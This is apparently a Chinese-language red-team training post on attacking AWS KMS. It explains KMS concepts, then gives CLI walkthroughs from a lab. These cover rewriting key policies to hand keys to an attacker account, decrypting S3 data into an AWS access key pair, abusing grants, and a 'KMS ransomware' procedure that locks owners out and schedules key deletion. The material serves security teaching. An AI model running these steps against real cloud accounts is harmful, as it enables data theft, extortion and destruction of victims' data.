AWS云安全及红队攻击技术分享2 3

You might also like

Download as pdf or txt
Download as pdf or txt
You are on page 1of 9

AWS云安全及红队攻击技术分享2-3

AWS云安全及红队攻击技术分享2-3
第二章三节 KMS - 密钥管理服务
Written by 六对半雨翼

发布于知识星球 AWS云安全训练营 【MS08067】 转载请注明。

本分享计划知识点全部基于 https://cloud.hacktricks.xyz/ ,有对AWS攻击感兴趣的可以考虑他们的课程


https://training.hacktricks.xyz/ 教材,lab及考试都是OSCP向,非常实用。

前言
本节将介绍AWS KMS。AWS KMS(Key Management Service)是亚马逊云服务(Amazon Web
Services,AWS)提供的一项托管式密钥管理服务,用于创建和控制加密密钥,以保护您在 AWS 上存储
和传输的数据。注意,每个KMS的KEY,每天都会有费用产生。而KMS现在成了AWS勒索的重灾区,绿色
环保利用简单,只需要用户错误的配置就能让攻击者轻松的进行勒索。另外,请关
注"kms:BypassPolicyLockoutSafetyCheck" 这个权限。

另外推荐一下朋友的星球,重生者团队 经常会有各师傅们的干货分享。不过注意星球是收费的,请大家理
性消费。

KMS - Key Management Service


概念
主要功能和用途
1. 密钥生成和管理: AWS KMS 允许您生成和管理加密密钥,这些密钥可用于加密和解密数据,以及对
数据进行加密密钥的加密(称为加密密钥管理)。
2. 数据加密: 您可以使用 AWS KMS 提供的加密 API 对数据进行加密,确保数据在存储和传输过程中
的安全性。
3. 密钥轮换: AWS KMS 支持密钥轮换(Key Rotation),定期自动更新加密密钥,帮助增强系统的安
全性。
4. 集成其他 AWS 服务: AWS KMS 与其他 AWS 服务(如 Amazon S3、Amazon RDS、Amazon EBS
等)无缝集成,您可以轻松地在这些服务中使用 AWS KMS 生成的密钥进行数据加密。
5. 可扩展性和安全性: AWS KMS 是托管式服务,自动处理密钥的创建、存储、轮换和访问控制,同时
提供高可用性和安全性保障。
6. 访问控制和审计: 您可以使用 AWS Identity and Access Management (IAM) 控制谁可以访问和管理
密钥,同时通过 AWS CloudTrail 记录所有与密钥相关的操作,以进行安全审计和合规性监控。

使用场景
数据加密:保护存储在 AWS 中的敏感数据,确保数据在静态存储或传输过程中的安全性。
合规性需求:满足安全合规性标准和法规,例如 PCI DSS、HIPAA 等。
应用程序加密:在应用程序中使用 AWS KMS 加密 API 对数据进行加密,确保数据的保密性和完整
性。
1/9
AWS云安全及红队攻击技术分享2-3
密钥管理:集中管理密钥,确保密钥的安全性和轮换策略的执行。

使用示例
1. 加密 Amazon S3 存储桶中的对象: 使用 AWS KMS 生成的加密密钥对 Amazon S3 存储桶中的对象
进行加密和解密操作。
2. 加密 Amazon RDS 数据库: 使用 AWS KMS 加密 API 对 Amazon RDS 数据库的数据进行加密,保
护数据库中的敏感信息。
3. 安全存储加密密钥: 使用 AWS KMS 生成的加密密钥加密其他应用程序中的敏感密钥,确保密钥在存
储和传输时的安全性。

额外说明
1. KMS支持对称和非对称密钥。
2. 密钥存储在hsm(硬件安全模块)中,AWS的管理员“不能”访问您的密钥。
3. 客户主密钥(CMK):可以加密大小为4KB的数据。它们通常用于创建、加密和解密dek(数据加密密
钥)。然后使用dek对数据进行加密。
4. CMK的“Key Material”是实际的键,但你却无法看到这个值。

主密钥有 2 种类型:

AWS 托管 CMK:由其他服务用来加密数据。它由在区域中创建它的服务使用。它们是您第一次在该
服务中实施加密时创建的。每3年轮换一次,且无法更改。
客户托管 CMK:灵活性、轮换、可配置的访问权限和密钥策略。启用和禁用按键。

密钥策略
默认情况下:

它为拥有 KMS 密钥的 AWS 账户提供对 KMS 密钥的完全访问权限。 与其他 AWS 资源策略不同,
AWS KMS 密钥策略不会自动向账户或其任何用户授予权限。要向帐户管理员授予权限,密钥策略必
须包含提供此权限的显式声明,如下所示。
如果不允许帐户 ( "AWS": "arn:aws:iam::111122223333:root" ),IAM 权限将不起作用。
除了密钥策略之外,它还允许账户使用 IAM 策略来允许访问 KMS 密钥。 如果没有此权限,允许访问
密钥的 IAM 策略将无效,但拒绝访问密钥的 IAM 策略仍然有效。
它通过向帐户管理员(包括帐户根用户)授予无法删除的访问控制权限,降低了密钥变得难以管理的
风险。

默认策略示例:

json
1 {
2 "Sid": "Enable IAM policies",
3 "Effect": "Allow",
4 "Principal": {
5 "AWS": "arn:aws:iam::111122223333:root"
6 },
7 "Action": "kms:*",
8 "Resource": "*"
9 }

2/9
AWS云安全及红队攻击技术分享2-3
如果允许该账户 ( "arn:aws:iam::111122223333:root" ),该账户的委托人仍需要 IAM 权限才能使用 KMS
密钥。但是,如果密钥策略中明确允许某个角色的 ARN,则该角色不需要 IAM 权限。

密钥管理员
默认密钥管理员:

有权管理 KMS,但无权加密或解密数据
仅 IAM 用户和角色可以添加到密钥管理员列表(而非组)
如果使用外部CMK,密钥管理员有导入密钥的权限

CMK 轮换
相同密钥保留的时间越长,使用该密钥加密的数据量就越大,如果该密钥被破解,那么受威胁的数据
范围就越广。此外,密钥保持活跃的时间越长,被破解的可能性就会增加。
KMS 每 365 天轮换一次客户密钥(或者你可以随时手动执行该过程),并且由 AWS 每 3 年管理一次
密钥,这不能更改。
保留旧密钥以解密轮换之前加密的数据
在中断情况下,轮换密钥不会消除威胁,因为有可能解密使用受损密钥加密的所有数据。但是,新数
据将使用新密钥加密。
如果 CMK 处于禁用或待删除状态,KMS 将不会执行密钥轮换,直到 CMK 重新启用或删除被取消。

枚举

# 获取密钥
aws kms list-keys

# 获取密钥策略
aws kms list-key-policies --key-id <id>

# 获取密钥策略详细信息
aws kms get-key-policy --key-id <id> --policy-name <policy_name>

权限提升
kms:ListKeys,kms:PutKeyPolicy —— 允许任何人使用和管理密钥
kms:CreateGrant —— 授权允许一个主体(即使来自不同的账户)使用特定的操作(受限制的操
作)
kms:CreateKey, kms:ReplicateKey —— 通过复制来窃取密钥

后渗透
解密敏感信息(通过其他AWS服务或直接)
让钥匙无法使用
设置自己的密钥(AWS上的勒索软件)

权限维持

3/9
AWS云安全及红队攻击技术分享2-3
攻击者可以使用权限kms:PutKeyPolicy向其控制下的用户甚至外部帐户授予对密钥的访问权。
攻击者还可以滥用Grant + Monitoring来保持密钥的持久性

攻击场景
kms:PutKeyPolicy

💀
┌──(root kali)-[~/test/aws]
└─# aws kms list-keys --profile kms1
#由于一般情况下,key并不是唯一的,而且也不会注明哪个key对应哪个数据的加密,所以需要从列
出的keys中逐一尝试

假设e1b73912-a147-493b-9462-ee5b600a8b65 这个key-id 是我们需要使用的key

key对应的策略如下:

💀
┌──(root kali)-[~/tools/aws]
└─# aws kms list-key-policies --key-id e1b73912-a147-493b-9462-ee5b600a8b65 --
profile kms1
{
"PolicyNames": [
"default"
]
}

💀
┌──(root kali)-[~/tools/aws]
└─# aws kms get-key-policy --key-id e1b73912-a147-493b-9462-ee5b600a8b65 --
policy-name default --profile kms1
{
"Policy": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::260166462399:role/LabManagementOutOfScope"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::260166462399:user/kms-lab-1-start-point"
},
"Action": [
"kms:GetKeyPolicy",
"kms:ListKeyPolicies",

4/9
AWS云安全及红队攻击技术分享2-3
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::260166462399:user/kms-lab-1-start-point"
},
"Action": "kms:PutKeyPolicy",
"Resource": "*",
"Condition": {
"Bool": {
"kms:BypassPolicyLockoutSafetyCheck": "false"
}
}
}
]
}
}

由于有kms:PutKeyPolicy 的 权限,所以我们可以使用put-key-policy来更新policy

新的policy json文件如下: kmspolicy1.json

{
"Version" : "2012-10-17",
"Id" : "key-1",
"Statement" : [
{
"Sid" : "Enable IAM User Permissions",
"Effect" : "Allow",
"Principal" : {
"AWS" : "arn:aws:iam::964225392792:user/kms-lab-1"
},
"Action" : "kms:*",
"Resource" : "*"
}
]
}

💀
┌──(root kali)-[~/tools/aws]
└─# aws --profile kms1 kms put-key-policy --key-id e1b73912-a147-493b-9462-
ee5b600a8b65 --policy-name default --policy file://kmspolicy.json --region us-
east-1

注意:如果kms的策略中没有"kms:BypassPolicyLockoutSafetyCheck": "false" 这条限制的话,可以添加--


bypass-policy-lockout-safety-check参数来绕过策略限制。即:即使没有kms:PutKeyPolicy的权限,只要
5/9
AWS云安全及红队攻击技术分享2-3
policy没有对BypassPolicyLockoutSafetyCheck做限制,就可以绕过。

💀
┌──(root kali)-[~/test/aws]
└─# aws --profile kms1 s3 cp s3://kms-lab-1-bucket-lk4qr3c4g22l/kms_1.txt
kms_1.txt
# 从s3桶上复制被加密的信息

💀
┌──(root kali)-[~/test/aws]
└─# aws --profile kms1 kms decrypt --ciphertext-blob fileb://kms1.txt --key-id
e1b73912-a147-493b-9462-ee5b600a8b65 --output text --query Plaintext | base64 --
decode
{"aws_access_key_id":"AKIA6BACP4CMHUJI52RC","aws_secret_access_key":"mc8Ner7Y7zCH
QkwOd6Gj1SvOc2g78azqnDfznKHR"}
# 使用修改过策略的key解密,注意,因为特殊字符的问题,绝大多数加密的数据都会在加密前做一
次base64编码,所以一般在解密时需要做一次base64解码。

kms:CreateGrant
创建一个授权(grant),允许特定的 IAM 用户对指定的 KMS 密钥( afb9aa72-e1de-4a84-86ab-
b055a6aadeb8 )执行解密操作,命令执行完会拿到一个GrantToken。

💀
┌──(root kali)-[~/test/aws]
└─# aws --profile kms2 kms create-grant \
--key-id afb9aa72-e1de-4a84-86ab-b055a6aadeb8 \
--grantee-principal arn:aws:iam::964225392792:user/kms-lab \
--operations Decrypt
{
"GrantToken":
"AQpAZTZmYjE0NTAzZTA4MzE1ZmY0NGJjYWE2MTM0M2RjY2ZhNjAyYjc1OGRkZGQ0MjhhMTdmZWQyMTdk
NjBiODQyNyKIAgEBAgB45vsUUD4IMV_0S8qmE0Pcz6YCt1jd3UKKF_7SF9YLhCcAAADfMIHcBgkqhkiG9
w0BBwaggc4wgcsCAQAwgcUGCSqGSIb3DQEHATAeBglghkgBZQMEAS4wEQQM6b9kmA47uNJb1s5tAgEQgI
GXwsmFfi_YAGRmL9GXg_yvnU6oQ2hYD0Mmq0fu9NB_8Vw8fg3o8pYhS0ddcyMAL2RbNYcwqnhbEgCjt8E
x1mzZQdmUzEVUEEgewJBHCmg3wh87rRCaE0hIVw8EKtb8YE_TcOcL7_EJ3rwta-Y8-
ShgX9FyaeEOtMQRgwrK02cKB2yJGNzQpSCPKxEQKsd1YeLQhL8Zd4RQ_SogCnSnhb0j0-
L4XpggNhrEO35EOJVe1hfdDk9Yn1_MRuM",
"GrantId": "0a74a785bd23d3e2f85e9820361ac43b7e4438955ed617dd0e4f589f5fcc46e3"
}

请注意,在生成授权后,KMS 可能需要几分钟时间才能允许用户使用密钥。一旦过了该时间,用户就可以
直接使用 KMS 密钥,而无需指定任何内容。

但是,如果需要立即使用授权,请使用授权令牌(检查以下代码),不过这个操作需要
kms:GenerateDataKey的权限。

💀
┌──(root kali)-[~/test/aws]
└─# aws --profile kms2 kms generate-data-key \
--key-id afb9aa72-e1de-4a84-86ab-b055a6aadeb8 \

6/9
AWS云安全及红队攻击技术分享2-3
--key-spec AES_256 \
--grant-tokens
AQpAZTZmYjE0NTAzZTA4MzE1ZmY0NGJjYWE2MTM0M2RjY2ZhNjAyYjc1OGRkZGQ0MjhhMTdmZWQyMTdkN
jBiODQyNyKIAgEBAgB45vsUUD4IMV_0S8qmE0Pcz6YCt1jd3UKKF_7SF9YLhCcAAADfMIHcBgkqhkiG9w
0BBwaggc4wgcsCAQAwgcUGCSqGSIb3DQEHATAeBglghkgBZQMEAS4wEQQM6b9kmA47uNJb1s5tAgEQgIG
XwsmFfi_YAGRmL9GXg_yvnU6oQ2hYD0Mmq0fu9NB_8Vw8fg3o8pYhS0ddcyMAL2RbNYcwqnhbEgCjt8Ex
1mzZQdmUzEVUEEgewJBHCmg3wh87rRCaE0hIVw8EKtb8YE_TcOcL7_EJ3rwta-Y8-
ShgX9FyaeEOtMQRgwrK02cKB2yJGNzQpSCPKxEQKsd1YeLQhL8Zd4RQ_SogCnSnhb0j0-
L4XpggNhrEO35EOJVe1hfdDk9Yn1_MRuM

之后就可从s3下载文件,重复kms:PutKeyPolicy中的解密步骤

KSM 勒索
拥有 KMS 特权访问权限的攻击者可以修改密钥的 KMS 策略并授予他的帐户访问权限,从而删除授予合法
帐户的访问权限。

然后,合法帐户用户将无法访问使用这些密钥加密的任何服务的任何信息,从而在该帐户上创建一个简单
但有效的勒索软件。

请注意,AWS 托管密钥不受此攻击影响,仅受客户托管密钥影响。

另请注意,需要使用参数 --bypass-policy-lockout-safety-check(Web 控制台中缺少此选项使得此攻击


只能通过 CLI 进行)。

# 强制更改策略
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check

{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

请注意,如果你更改该策略并仅授予对外部帐户的访问权限,然后你尝试从该外部帐户设置新策略以将访
问权限返回给原始帐户,则你将无法这样做。

7/9
AWS云安全及红队攻击技术分享2-3
还有另一种方法可以执行全局 KMS 勒索软件,该方法涉及以下步骤:

1. 创建一个新的密钥,并由攻击者导入密钥材料。
2. 使用新密钥重新加密先前版本加密的旧数据。
3. 删除 KMS 密钥。

现在,只有攻击者拥有原始密钥材料,才能解密加密的数据。

销毁钥匙

# 销毁之前导入的密钥材料,使密钥变得无效。
aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-
1234567890ab

# 安排销毁密钥的计划(最短等待时间为7天)。
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-
1234567890ab \
--pending-window-in-days 7

后续
下一节将进入本次分享的第二章AWS服务利用的第四节,介绍AWS服务利用:Secrets Manager。

AWS红队攻击技术等干货分享,请关注MS08067安全实验室 公众号,或者加入知识星球 AWS云安全训练


营 【MS08067】 来和我们一起交流学习。

微信公众号:

8/9
AWS云安全及红队攻击技术分享2-3
加入星球:

扫码进交流群:

9/9

You might also like